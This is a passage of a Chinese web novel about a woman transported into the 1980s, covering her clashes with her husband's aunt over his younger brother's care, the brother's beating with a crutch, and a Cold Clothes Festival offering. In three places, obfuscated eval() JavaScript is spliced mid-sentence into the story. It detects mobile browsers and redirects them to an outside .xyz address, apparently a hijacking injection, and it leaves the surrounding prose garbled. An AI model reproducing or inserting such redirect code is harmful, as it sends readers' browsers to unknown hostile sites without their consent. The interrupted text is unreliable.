蛋,都是江乐阳从厨房里翻出来的存货,想吃别的还得去街上买菜,好在中午这顿只有他们俩人,江乐阳想着怎么都够了,但陆铠只是瞥了一眼,连书包都没放就要转身出门。 “我去二姑家里吃。” 江乐阳给他盛饭的动作顿了顿,明明都咽口水了,这小孩难道是担心自己往菜里下毒吗? “就算我没有大厨的水平,也不至于让你这么嫌弃吧?” “我不吃你做的饭,也不要你买的零食。” 在陆铠看来,江乐阳花的都是自己哥哥的钱,无非就是为了讨好自己、讨好哥哥,谁知道她心里在打什么算盘,说不定等她彻底拉拢哥哥之后,就会迫不及待扔掉自己这个拖油瓶。 一想到这些,他就一句话都不想跟江乐阳多说,直接跑出了家门。 “诶,你这孩子……” 江乐阳没想到他会这么抵触自己,但是想到陆锋的好,想着自己也该做点什么回报他,咬了咬牙,还是端着菜跟着去了二姑家。 两家住得不远,出门转个弯就到了,也方便陆铠平时过来吃饭。 二姑名叫陆家云,儿子儿媳在外务工,她负责在家带着两个小孙子,比陆铠还小几岁,再加上姑父,五个人围坐在院子里的一张小桌子周围,陆铠被挤到边角,坐在低矮的小板凳上,想夹菜都得站起来。 看见江乐阳进来,两只手还各端着一盘菜,陆家云不知道她这是打算来哪一套,满脸警惕地看着她。 江乐阳就当没看见,脸上堆着笑自我介绍着:“您就是二姑吧,我是陆铠的新嫂子,昨儿刚过来,还没来得及上门拜访,真是不好意思。” “陆锋跟我们提过你,你这是……端着菜要干啥?” “这不是陆铠喜欢吃二姑做的菜嘛,我就想着也来搭个伙,总不能空手上门,就自己做了两道菜,二姑也尝尝我的手艺。” 也不等二姑反应,江乐阳直接就把两道菜放在了陆铠面前,自己也拉了张板凳过来,坐到陆铠旁边。 桌上的菜很简单,但凡是沾了荤腥的都放在陆家云两个孙子面前,陆铠根本就夹不着,只能吃面前的清炒豆芽,江乐阳怎么还不明白这是怎么回事,心里暗骂两句老妖婆,脸上还是笑嘻嘻的。 “陆锋都跟我说了,这些年多亏了二姑照顾,咱们又是亲戚又是邻居,以后还要麻烦二姑也关照关照我啊。” 伸手不打笑脸人,江乐阳主动摆出晚辈的姿态,陆家云也不好再说什么,坐回椅子上之后,又盯上了江乐阳端过来的两盘菜上,往两个孙子碗里各夹了一大筷子肉片。 “小江啊,你这个新媳妇还是不会当家,做菜哪有放这么多油的,小孩子的肠胃消化不了的,而且陆锋赚钱多不容易啊,你以后可不能这么败家。” 原本陆铠吃了面前的两道菜之后,态度还有些松动,一听二姑这句话,又把板凳挪远了,不愿意跟江乐阳坐在一起。 8. 打孩子 江乐阳又不傻,哪里还不明白这是什么情况。 陆锋出着生活费,把陆家云的两个小孙子养得膘肥体壮,陆铠只能吃上青菜豆芽,两兄弟还得感恩戴德,谢谢她这个姑姑。 可陆锋要是结了婚,家里有了女主人管钱,八成就要把那笔生活费停了,陆家云怎么可能愿意,只能来挑拨陆铠,希望保住这个冤大头。 江乐阳可不是冤大头。 又往陆铠碗里夹了点鸡蛋,拍了拍这个小傻子的肩膀:“他俩都能消化,你也能消化,想吃什么站起来自己夹,二姑收着你哥的生活费,不会不让你吃肉的。” 不等陆铠回答,江乐阳的眼睛扫过饭桌上另外两个孩子,又笑着感叹了一句:“不过都是同一张饭桌养大的,也不知道这两个小侄儿怎么这么胖,确实得跟二姑请教请教。” 陆家云只觉得她的巴掌都快打到自己脸上了,有些恼羞成怒地问她:“你个小丫头片子懂什么?知道肉票多难弄吗?怎么可能谁都吃上肉?” “可陆锋赚钱就是为了养家糊口,要是让小铠顿顿吃青菜,才是真的败家啊。” “他就喜欢吃青菜豆芽,小铠,你自己说是不是?” 陆家云还想嘴硬,看向陆铠的眼神里还带着几分威胁,她就不信这小孩能为一个外人反驳自己。 为了陆锋每个月的二十块钱,她没少跟陆铠洗脑,例如他就是个拖油瓶、不听话就要被赶出家门、他哥跟他根本不亲、只有二姑家里才会给他饭吃…… 陆铠瑟缩着脑袋不敢说话,二姑潜移默化的影响让他想推开江乐阳,可是他又真的不爱吃青菜。 成年人的拐弯抹角他听不懂,只能埋头不说话。 没当面拆自己的台就还有救,江乐阳欣慰地拍了拍他的手背,继续说着:“以后我在家生火做饭,小铠就不过来麻烦二姑了,他要是喜欢吃青菜,我在家也能做的。” 二姑被噎得说不出话,心里也更断定了江乐阳是个不好糊弄的,她之前就反对陆锋结婚,这下娶了个厉害的回来,自己以后怕是不好捞油水。 邻里邻居的住着,还不至于上来就要撕破脸,江乐阳嘴上怼了她几句,就没再多说了,毕竟当务之急是把陆铠的想法矫正过来,不求相处得多和谐,至少别因为排斥自己,顿顿连饭都吃不饱。 江乐阳下午又去街上转了转,买了点肉和菜,又给兄弟俩各买了一件新毛衣,眼瞅着要入秋了,等男人意识到降温,怕是都该感冒了。 晚上陆锋也要回来吃饭,江乐阳多炒了两个菜,有荤有素,出锅之后又放回蒸锅里煨着保温,这个年代没有手机就是不方便,都没法知道陆锋什么时候到家,只能想办法保温着等他。 落日只剩下最后一点余晖,江乐阳惬意地坐在小院里研究苹果树,树上已经开始挂青色的果子,凑近了闻也没什么香味,不知道成熟之后甜不甜。 她长这么大,还是头一次看见苹果树,在这个时代生活,虽然没有手机电脑,但是躺在树下数苹果的这份悠闲,多难得啊。 正胡思乱想着呢,陆锋就拎着陆铠回来了,真是把小朋友直接拎进来的,拽着衣领往屋里拖,原本斜跨着的书包几乎都要掉到地上。 “这是怎么了?” “他放了学不回家写作业,跟一群小孩坐在沙堆里玩石子,一屁股沙子,看见我回来还跑。” 看上去也不是头一次了,陆锋自己学历不高,对陆铠读书上学这件事总觉得力不从心,不求他能考上大学,但是至少要遵守纪律,好好上课、好好写作业,初中毕业能上个职校也好,哪能一放学就在沙堆里打滚。 教育孩子不能拉偏架,江乐阳也没评价什么,只是让他先带陆铠去换身干净衣服,有什么话都吃了饭再说。 “对了,我给小铠买了新衣服,顺便试试合不合适,然后赶紧来吃饭。” 厨房的门正对着陆铠的房间,江乐阳端菜盛饭的同时也能听清楚兄弟俩的动静。 陆锋一进门就朝陆铠的屁股上拍了两巴掌,不过力道基本都卸在裤子上,其实也没多疼,依他的性格,想教训孩子也说不出什么重话。 换了裤子之后,又拿着江乐阳买的毛衣往他身上套,却没想到陆铠突然抢过他手里的毛衣往地上一扔,紧接着从床上跳下来跑开,嘴里还说着不要。 “我才不要那个女人买的衣服,她就没安好心。” 不写作业只能算日常拌嘴,可是陆铠这句没大没小的话却真正惹恼了陆锋。 “你说什么呢?人家好心给你买衣服,你连句嫂子都不会叫吗?” 陆锋一把握住他的胳膊,把人强行拽回自己面前,绝对的力量差距面前,陆铠根本反抗不了,只有嘴上还能逞强。 “她能有什么好心,花的不也还是咱们家的钱!” “这些话谁教你的?” 陆锋的脸色完全冷下来,握着手杖敲了两下床板,这是他要动怒的前兆,陆铠真犯错误的时候,落在他身上就不止是轻飘飘的巴掌,而是这根拐杖。 两人的对话被江乐阳听得一清二楚,一片好心还被这么冤枉,说不生气是假的,可她也知道这件事根源错在陆家云身上,眼瞅着陆锋要动真格,真的要动手打孩子了,她还是走过去把人拦住。 “不至于,这么点儿事还不至于打孩子。” “可是他……” 江乐阳捡起地上的毛衣,拍了拍粘上的灰,又放回了陆铠的床头。 “先吃饭吧,吃完再说,不然饭菜该凉了。” 教育孩子也不能耽误吃饭,这是江乐阳最大的原则,可她想不到陆铠被陆家云一家洗脑到了什么程度,竟然连饭都不吃了。 “我才不吃你做的饭,你就是败家的坏女人!你就是在算计我哥!就是图我哥的钱!” 陆锋刚刚被平息的怒火重新燃起,这次连江乐阳都没劝住,手里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627494|172446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拐杖直接落在他的屁股上,发出闷闷的响声,江乐阳听着心里都跟着发颤。 “我没教过你讲礼貌吗?跟谁学的这些话?” 回答他的只有陆铠响亮的哭声,一边哭还不忘骂江乐阳是坏女人,要不是江乐阳来了,哥哥才不会打自己。 这话实在难听,尤其当事人还站在面前看着,陆锋脸上都有点挂不住了,他和陆铠相处的时间其实不多,实在想不出这个场面该怎么收场。 悄悄扭头看江乐阳的表情,好像有些无奈有些难过,更让他手足无措。 但是一定不能让这熊孩子再闹下去了,他更害怕江乐阳会因此生气,只能松开抓着他衣服的手,又放下一句狠话。 “不想吃饭就不要吃了,你哭好把作业写完,不写完不许睡觉。” 说完就拉着江乐阳往堂屋里去,出门之后还不忘把房间门关好,打定主意不想让他吃饭。 是惩罚,是逃避,同时也是在向江乐阳表明自己的态度。 “我不太会教育孩子,小铠以前不这样的,也不知道最近怎么变成这样,真的很抱歉,他说的话你别往心里,我以后会教好他的。” 陆锋退伍回来的时候,弟弟已经上小学了,确实在二姑家学了些不太好的习惯,但是陆锋也不知道该怎么办,他自己小时候也很皮,家里能给口饭吃饱就很不错了,后来去了部队才开始懂事。 可是部队里要求的高度服从性,也不适合放在家庭教育里。 陆锋自己也很纠结,后来想着都是些无关痛痒的小事,反正身边很多孩子都是这么长大的,索性也就放低了自己的要求,可是让江乐阳看到这些事情,陆锋总觉得尴尬。 他倒是没想过,江乐阳带过比这更皮的学生。 “没事,小孩子有口无心,但是让他饿着是不是不太好?” “就得让他长长记性,他以后要是再敢乱说话,你就直接动手打他,你也是长辈,要是下不了手就跟我说,我来教训他。” 陆锋是真的害怕江乐阳受委屈,结婚前摊上那样的父母,结婚后要是再摊上个混蛋的小叔子,这日子就真过不下去了,反而是江乐阳不太同意打孩子,索性就没接他的话。 “先吃饭吧,我给你也买了一件毛衣,吃完饭你再去试试。” 桌上摆了四个菜,有荤有素,三碗饭都分别盛好了,都还冒着热气,父母过世之后,陆锋就很少在家吃到热菜热饭了,他和陆铠两个人总是冷冷清清,更别说江乐阳还惦记着给自己买衣服。 陆锋心里五味杂陈,形容不出来是什么感受,但他知道,娶到江乐阳,是自己撞大运了。 “你做饭很好吃,一会儿还是我洗碗吧,我会帮你一起做家务的。” 这么自觉要分担家务的男人多难得,江乐阳也没跟他多客气,只是往他碗里夹了一块排骨,“那你就多吃点肉、多出点力呗,厨房里水缸都空了,你一会儿再打点水。” 9. 偷吃 陆锋觉得小孩子饿一顿也没什么大不了,真的睡前都没再过问陆铠,还打算让他饿两顿长长记性,半夜厨房里窸窸窣窣的声音也没把他吵醒,反而是江乐阳,蹑手蹑脚抓着手电筒跟进了厨房。 陆铠本来在橱柜里找吃的,一回身竟然多了个人,窗外的月光照过来,一张惨白的脸差点把他的魂都吓丢了,好在江乐阳手快,在他尖叫出声之前,先伸手捂住了他的嘴。 “是我是我,你别叫啊,别把你哥吵醒了。” “唔唔唔……” “答应我别吵就眨眨眼,我就松手。” 陆铠顺从地眨眨眼,他比江乐阳更不想惊动哥哥,要是被陆锋发现了,自己更吃不上饭了。 “你来干嘛?” “我不来谁给你找吃的?你这小孩怎么不识好人心呢?” 江乐阳说着话,从蒸锅里端出一碗饭菜,她知道这个年纪的孩子,别说晚上饿一顿,就算是晚饭吃饱了,半夜都还得加一顿宵夜。 “你撺掇我哥打我,才不是好人。” “我哪里撺掇了?你哥要动手的时候我还拦着的好不好?” 陆铠想了想,好像她说的也对,但还是气鼓鼓地不肯服软。 碗里的饭菜是江乐阳提前留好的,每道菜都给他夹了一点,在蒸锅里放到现在还有最后一点温度,不用开火重新回锅也能直接吃,只是水分有点重,可能口感不太好了,不过这大半夜也没有挑食的权利了,她刚把筷子递到陆铠手里,就听见一阵绵长的咕咕噜噜声。 陆铠尴尬地捂着肚子,可是肚子就不听话,把他出卖了个干净。 “别管我是好人坏人了,你赶紧吃吧。” 陆铠还是不说话,他确实是饿得睡不着,想着大哥应该睡了,才敢偷偷跑出来找吃的,哪知道还会被江乐阳抓个正着。心里的抵触始终战胜不了生理上的饥饿,最后还是接过碗筷,大口大口地吃起来了。 江乐阳打着手电筒,坐在一边陪着他。 看着陆铠把碗里的饭菜吃了个干干净净,把碗筷放回桌子上,打了个饱嗝之后有些尴尬地看向江乐阳,片刻之后还是开口问她: “我都骂你了,你为什么还给我留饭?” 江乐阳没忍住轻笑出声,这小孩还知道愧疚,就还不是无药可救。 “你说的那些话,是二姑教你的对不对?放学了不回家在外面玩,也是因为我在家里,所以你不想回来看见我?” “你怎么知道?” 别说自己知道,估计陆锋都猜到了,江乐阳也不急着摆长辈的架子同他说教,毕竟日久见人心,现在说得再多也没用。 “我还知道,你其实也不是很喜欢二姑,对不对?” 陆铠咬着嘴唇不说话,他已经被这顿夜宵收买,也不反驳她,乖乖站着听她的后文。 “你别管我怎么知道的,我就是想跟你分析一下现在家里的情况啊。我给你做肉、买衣服,的确花了你哥哥的钱,但这不能叫败家,你哥赚的钱只要是花在你们哥俩身上,就是理所应当的。要是有人拿了你哥的钱,不给你肉吃,把钱都花在自己身上,这才叫算计你哥,对不对?” 小朋友的思维一时还跟不上,只是觉得她说的好像有点道理,但是又不想轻易表现出认同,只是低着头不说话。 “我知道你能听明白我在说什么,你愿意亲近谁是你的自由,想在哪家吃饭我也管不着,但是一定要好好吃饭、好好学习,不能亏待了自己,也不要故意和你哥哥对着干,记住了吗?” “他是这世上唯一和你血脉相连的人了,你故意气他,他也会难过的。” 陆锋这顿饭吃得心不在焉,一边听着陆铠在房间里的动静,一边还要看着江乐阳的脸色。 江乐阳看在眼里,还有点为他们兄弟俩的相处方式头疼,也想多帮着劝两句。 但陆铠还是没反应,江乐阳也不着急,打着手电筒把他送回房间门口,叮嘱他好好睡觉之后,才听见小孩用蚊子似的声音说了一句。 “我记住了。” 俩人是九月底领的证,每天的日子都过得差不多,陆锋要忙店里的事情,早出晚归的,俩人能坐在一起聊天的时间不多,就是一起吃顿晚饭、洗碗的时候闲聊几句。 陆锋有点木讷,也不会主动挑起话题,大部分时间都是江乐阳在说,说自己把院子里的地翻了,想种点葱蒜;说院子里养两只鸡也挺好的,还能吃到自家的鸡蛋,但是鸡屎太臭了,不好打扫,而且她也不会养鸡;说院子里的苹果掉下来两个,她尝了一口还是很涩,也不知道什么时候才能吃。 “你想种啥都行,但是别累着了。” “养鸡就算了,鸡飞狗跳的太麻烦了,想吃鸡蛋就去买。” “你要是想吃苹果就去市场里买,可能是品种不对,院子里的苹果不甜的。” 陆锋从来不让她的话掉在地上,哪怕是简短的回应,也一直都是有来有往,对她的称呼逐渐从江同志变为乐阳,也习惯了她说话天马行空,唯独还无法免疫她偶尔大大咧咧的肢体接触。 他和江乐阳至今还是分房睡,肢体残疾带来的自卑让他不敢奢求正常的婚姻生活,总会在江乐阳碰到他手的时候,不动声色地悄悄躲开。 江乐阳只当他是封建古板,也没放在心上,只是在他面前越来越放松,甚至没有刻意掩饰自己的过去,有时候说起自己上学和上班时候的趣事,听着怎么都不像是一个纺织厂女工的经历,还会冒出几句不属于这个年代的口癖,他听不明白,也只会在眼里闪过几分疑惑,却从不多问。 “以前我妈会提醒我每天吃苹果,她就觉得苹果是最健康的水果,哪怕我不爱吃,也被逼着吃了好多年,后来好像也习惯了。” 江乐阳仰着头看天上即将圆满的明月,突然有些伤感,月亮阴晴圆缺,却不能再和父母看同一片夜空。 陆锋听见她叹气的声音还有些无措,以为她在思念原身早逝的母亲,可他实在不会安慰人,认真思索半晌之后,才想起来:“我认识一个果园老板,苹果和梨他那儿都有种,你要是喜欢,我让他定期送到家里来,比市场上新鲜。” “过两天寒衣节,也可以给……” 陆锋张了张嘴,怎么也想不到该如何称呼江乐阳的妈妈,跟着叫妈他还有点叫不出口,最后含含糊糊地开口,“嗯可以给……丈母娘,也送一些。” 江乐阳也跟着愣了愣。 她也没反应过来这个丈母娘到底指的是谁。 她原本还以为是要去给继母何梅送苹果,念及寒衣节才想明白,陆锋说的丈母娘是指原身已经过世的母亲。 江乐阳的目光从空中的月亮转向眼前人,虽然直男的脑回路让人有点哭笑不得,自己也不是真的想吃苹果,可陆锋对自己情绪的重视,却更让人动容。 就好像自己开口夸一句天上的星星好看,他也会认真分析该摘哪一颗下来。 毕竟他说这句话的时候还坐在院子里洗衣服。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627495|172446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家里有一台双桶洗衣机,左边洗涤、右边脱水,每次洗衣服都要把洗衣机推到院子里,用水管接好进水口,等到洗涤的程序转完之后,把湿衣服全部拎出来放进大盆里,逐一把洗衣粉残留的泡沫清掉,再放进脱水桶里脱水。 江乐阳小时候也见过这种洗衣机,已经比手洗要方便多了,但是她穿越前用惯了全自动,面对这种老古董就有点不顺手。 而且衣服沾了水很重,推着洗衣机里进进出出也很麻烦,陆锋就让她把脏衣服都留着,自己来洗。 洗衣机和木盆放得进,他可以不用拄拐,扶着洗衣机站稳、或者坐到板凳上。 除了做饭他实在没天赋,其他的家务能帮的他都会主动伸手,从来不会想着什么事情该是女人干的,毕竟没结婚的时候,他的衣服也都是自己洗,现在无非就是多了几条裙子。 就连听见江乐阳叹气的声音,手上洗衣服的动作也一直没停,只不过这裙子他都不敢用力搓,生怕自己手劲太大给洗坏了,江乐阳看他洗得认真,心里冒出逗乐的念头,偷偷从橱柜里翻出一颗大白兔,剥开了糖纸站在他背后,又突然指了指门口。 “你看那是谁?” 陆锋循声抬头,门口根本没人,嘴里却突然被塞了一颗奶糖,刚剥开的奶糖还是硬的,他却只感受到嘴唇擦过女孩柔软的指腹。 “啊?” 看他一脸懵懵的表情,江乐阳就站在旁边偷笑。 “奖励你,嗯,奖励你衣服洗得干净。” 陆锋知道她在跟自己逗乐,也没再多说什么,只是把奶糖含进嘴里,随着口腔的温度慢慢变软,甜味在身体里弥漫开。 江乐阳穿越之前都是独居,高中老师忙得跟陀螺似的,也没时间处对象,下了班大部分时间都是自己呆着,现在突然有了个伴,竟然让她意外地心安。 尤其陆锋准备纸钱、纸衣的时候,真的给过世的丈母娘也准备了一份,在江乐阳面前,他从来没有随口一说,开了口就一定会做到。 纸钱是一沓一沓压好的,买回来之后还得一张张撕开,不然点不着火,江乐阳认真学着他的样子,逐一搓开再放进背篓里,细碎的纸屑飘得到处都是,等到全部撕开,陆锋又拿过门后的扫帚,全都收拾干净,只等着入夜之后一起去路口烧掉。 天色渐暗,他们一起出门的时候,路边已经零星有人在烧纸了。 找了个人少的位置,陆锋掏出火柴点燃了完全散开的纸钱,他不会说太多祭奠的话,只会重复着让父母赶紧来领钱,保佑一家人健健康康,陆铠对这些事也很熟练,毕竟这几年都是他俩一起祭奠父母。 还不忘把另一份分好的纸钱递给江乐阳。 “这一份你来烧,有血亲的人烧,那边的人才能收得到。” 江乐阳原本是坚定的唯物主义者,可是自己都能无缘无故穿越到这个年代,好像鬼神之说也不是完全空穴来风,她也学着陆家两兄弟的样子,点燃纸钱的同时,默默念着困扰自己很久的想法—— 老天爷啊老天爷,为什么偏偏是我呢?为什么八十年代刚好有一个和我长得一模一样的江乐阳呢?穿越到底是平行时空还是灵魂出窍呢?自己来到八十年代占据了原身的身体,不知道原身又去了哪里,会不会去了二十一世纪?或者又去了其他平行时空? ...... 江乐阳心里有好多好多问题,可惜这些问题都得不到回答,最后只希望自己能在这里好好生活。 10. 恩怨 陆锋听不见她在说什么,也没那个好奇心去深究,他烧纸的同时还得看着火势,保证每一张纸钱都完全燃烧,还不能飘到人家的地盘上去。 他向来不爱热闹,所以他们三人天色刚黑就出门了,想着赶紧烧完赶紧回家,刚开始点火的时候路口还没几个人,等天完全黑透,家家都带着准备好的纸钱纸衣出来了。 包括二姑一家。 陆家云从他们身边路过的时候,还朝江乐阳翻了个白眼。 最后残留的火光闪过,江乐阳刚好把她的白眼看得清清楚楚,心里纳闷这大婶怎么又是一幅看见仇人的表情,不过今天这种日子,她也懒得计较了。 可是等陆锋起身和她打招呼,陆家云勉强挤出一个笑脸,竟然阴阳怪气地开口:“唉,你们两兄弟这么多年也不容易,要是大哥大嫂还在,肯定能给你找个更好的媳妇,你说说你这么仓促就结婚了,都没知会他俩一声。” 她说的大哥大嫂,便是陆锋的父母,话里话外都是作为长辈,对江乐阳这个新媳妇的不满意。 江乐阳蹲在路边,也跟着翻了个白眼,这大婶就是见不得陆锋过得好,真是见缝插针搞挑拨,不过她还没开口反驳,陆锋就微微侧身,将她挡在身后。 “这就不劳二姑费心了,我领证前已经给爸妈烧过香,乐阳很好,他们也一定很满意。” 江乐阳蹲在地上,看不见二姑脸上扭曲的表情,只能看见陆锋挺拔的背影。 就像那天在江家,他也是这样维护自己。 脑中灵光一闪,江乐阳从后面握住他的右手,轻轻晃了晃。 陆锋的手指突然被抓住,片刻僵硬之后又收紧,他们两个还没有正经牵过手,平时最多是不经意碰到过,要是私下他可能还会躲开,可是在外人面前,他不可能让江乐阳尴尬。 几乎没怎么犹豫,手心往下回握住江乐阳,将她的手完全拢住,欠身问她:“怎么了?” 江乐阳还蹲在地上,仰着头朝他眨了眨眼,连尾音都带着撒娇的意味。 “我腿麻了,起不来,你背我回家吧。” “好,你先站起来缓缓。” 陆锋不疑有他,以为她真的是蹲得太久腿麻了,另一只手拉住她的胳膊,赶紧将人扶起来。 这一幕落在陆家云眼里就看不下去了,她打心底不希望陆锋的婚姻幸福,毕竟只有过得不好,他们兄弟俩才会求助于自己,现在看他俩大庭广众就这么腻歪,突然就在一旁跳脚。 “这儿还这么多人看着呢!江乐阳你还要不要脸,还好意思开口让瘸子背你!” 听见瘸子这两个字,两人神色一凛,陆锋一个大男人不好说什么,江乐阳可不管那么多,才刚站起来,就好像真的腿麻了站不稳似的,往前跌了几步,最后一步精准地踩在陆家云的脚背上。 她就喜欢这一招,谁敢说陆锋是瘸子,她就要把谁踩成瘸子。 陆锋以为他没站稳,就一直没松手,抓着她的手往回使劲,又把人拉回自己怀里。 江乐阳紧贴着他的肩膀,相互牵着的手也没松开。 “他是我丈夫,他就愿意背我,你管得着吗?” 陆家云吃痛,往后退了几步,指着两人还想再说点什么,陆锋却不想听他骂街了。 “二姑还是先去占个地方吧,再拖下去,怕这寒衣都送不出去了。” 转身一看,四周都燃起了密密麻麻的火堆,陆家云心眼小,还非得找个上风口的位置才肯烧纸,最后只得恶狠狠瞪了江乐阳一眼,拎着竹篮赶紧占位置去了。 江乐阳跟着哼了一声,也算是出气了。 倒是陆锋被她贴着的半边身体微微发麻,别扭地清了清嗓子,又抽回自己的手,指着路边高出来的台阶让她站上去:“我蹲下不好起身,你站到那儿,我背你。” 他竟然还惦记着江乐阳腿麻,也是真的打算背她回家。 江乐阳拍掉他伸出来的食指,笑着说:“我刚刚就为了气她,随口那么一说,哪能真让你背啊。” “我真的可以的,只是我左手拄拐,可能你得抓紧一点。” 江乐阳认真想了想,哪怕自己是真的腿麻,让残疾人背自己回家,也太影响功德了,不过陆锋有点轴,跟他说不明白,索性背上背篓,自己先往回走了。 “诶……” 陆锋叫不住她,只能拉上陆铠,赶紧追上她的脚步。 等到陆铠回屋写作业,江乐阳才说起那天在二姑家里的事,她也不是多事,就是有点心疼陆铠,小小年纪就被外人挑唆,成年人之间只为了点蝇头小利争来抢去,受影响最大的反而是小孩子。 那毕竟是陆家的亲戚,之前她还有点猜不透陆锋的态度,但是从刚刚的事情来看,陆锋好像也没有多尊敬这个二姑。 所以她试探着问道:“二姑她好像,对我有点意见?” “你别放在心上,她是对我结婚这件事有意见,就怕我结了婚就不请她帮忙照顾小铠,就没有生活费可拿了。” “你都知道啊?那你还让她照顾小铠?” 江乐阳还以为他是被蒙在鼓里,原来他心里都明白。 陆锋理了理思绪,缓缓开口向她解释:“我爸是急病走的,我妈生陆铠的时候年纪就有点大了,身体一直没养好,我爸过世没多久,她也撒手走了。” “我那时候还在部队上,回来一趟都得打报告,路程也很远,我父母的后事多亏了这些亲戚帮忙。” 陆锋很少提起父母的事情,再想起来心中还是有亏欠,二老离世之前他都没能在身前尽孝,离世之后连丧礼都靠着亲戚操办。 “那时候小铠也还小,我实在顾不过来,只能托付给二姑家,毕竟不是亲生的,难免会有偏心,我都明白,但这些年小铠有个头疼脑热的,也都是二姑照顾着。” 之后便是陆锋坐着轮椅退伍回来,那时候他自顾不暇,陆铠在二姑家里,好歹能吃上一口热饭。 后来等他店里的生意稳定了,陆铠已经习惯了在二姑家里吃饭,性格也养得有些讨好内向,陆锋隐隐觉得有哪里不对劲,可他实在不擅长教育孩子,有心想矫正却也束手无策,只能一退再退,对他的学习成绩都没有什么要求,只盼着他健康长大就好。 对陆家云,陆锋的情感是很复杂的,怨过她的偏心,但也实在谢她的帮助,这都不是简单的一两句话就能说明白的。 所以哪怕是江乐阳来了之后,陆锋其实也没有停掉给她家的生活费,他还想着江乐阳在这边人生地不熟,有个亲戚能帮衬点也好,要是自己不在家,出什么事也不至于找不到人帮忙。 可这些恩和怨,都是自己一个人的事情,他欠的人情就该他自己还,现在竟然把江乐阳牵扯进来,他心里多少有点抱歉,才重新提起这些旧事。 “我担心要是完全断了给二姑家的钱,她会更针对你,万一以后她还是那个态度,你就别理她,不用把她当长辈,让她直接来找我。” 陆锋不可能时时在家,邻里之间的流言蜚语更恼人,要是每个月二十块钱能给江乐阳买个清净,他也花得心甘情愿。 江乐阳看他紧皱在一起的眉头,总算是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627496|172446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理解了他的无可奈何。 的确,人情债是最难还的,这么多年的桩桩件件算下来,早就已经算不清楚谁欠谁了。教育小孩子她还算有点把握,可是跟长辈之间这种复杂关系,实在不是她的强项。 可是贪心不足蛇吞象,伙食费老这么白给出去,也不是回事,万一以后陆家云得寸进尺,就更难解决了。 “这个月的给了也就给了,要不以后改成送点猪肉或者鸡蛋之类的吧,小铠不在她那边吃饭,就当是走动关系了,只要二姑不是太过分,表面的亲戚关系就这么维系着,确实也不能闹得太难看。” “也好,之前就说好家里的钱都归你管,都听你的。” “我不是非要管着你的钱,我就是心疼你,你赚钱也挺不容易的。” 谁家的钱也不是大风刮来的,维修店也不轻松,江乐阳给他买的新衣服他都舍不得穿,平时就穿着件蓝色工装,就这么在小汽车之间打转。 修个小件的家具电器还好,顶多就是费点脑子、手上精细一点,但是这些活赚不到太多钱,要修大件电器或者修汽车,对健全人来说都算是力气活,更何况陆锋的腿还不方便。 哪怕陆锋没限制过自己花钱,江乐阳也知道家里所有的钱都来之不易,日常生活也都尽量精打细算。 心疼和管钱在陆锋看来都没什么区别,若说是心疼,还多了几分旖旎。 “我明白。” “最重要的是陆铠还小,需要家长正确的引导,他要是一直跟着二姑,也学不到什么好的,五块十块的不打紧,不能耽误孩子一辈子啊。” 陆铠其实连调皮都算不上,大概是从小寄人篱下,和人相处甚至还有点畏缩,对待自己的恶意也都是因为外人的挑拨,江乐阳有点职业病,此刻就像是去家访一样语重心长,强调着培养正确的三观,需要学校和家长双方一起努力。 她说这些话的时候目光里带着对晚辈的疼爱,带着女性独有的温柔,她是真的想好好教导陆铠,不是因为和陆锋之间的关系,只是希望每一个孩子都能茁壮成长。 陆锋看着她的眼睛,脑子里突然冒出不合时宜的想法—— 如果江乐阳有孩子,她一定会是最好的母亲。 江乐阳……会和自己有孩子吗? 陆锋突然被自己的妄想吓了一跳,他一个残废,已经耽误了江乐阳的婚事,怎么还能奢望她为自己生儿育女,摇了摇头赶紧收回思绪,眼睛也不敢再看江乐阳。 反而是看见他突然移开的目光,江乐阳突然想起来什么,戳了戳他的肩膀问他:“我问你,咱们结婚的事情,你怎么跟你爸妈说的?” 进门没有仪式,也不需要跟公婆敬茶,说起来江乐阳连柱香都没烧过,也不知道刚刚陆锋说的话,是不是敷衍陆家云的。 其实陆家云说的也有道理,要是陆锋真的父母双全,估计还能找个条件更好点的,江乐阳表面不在意,心里却隐隐有些吃味。 “啊,没说什么……” 那是去江家提亲之前的事情了,陆锋心里诸多顾虑,又找不到人可以倾诉,只能去给父母扫墓,点燃香烛的时候说了一句自己可能要结婚了,却没脸提起自己先占了女方的便宜,烛火跳动着撩过他点香的手指,却没被风吹灭。 这就算是同意了。 陆锋没敢奢望结婚之后日子能过成什么样,只是在那个时刻,出于最起码的责任感,他不能让江乐阳一个人面对指责。 正是因为对婚姻没有期待,所以江乐阳的一举一动,维护自己的每一句话,对陆锋来说都是惊喜。 11. 喜酒 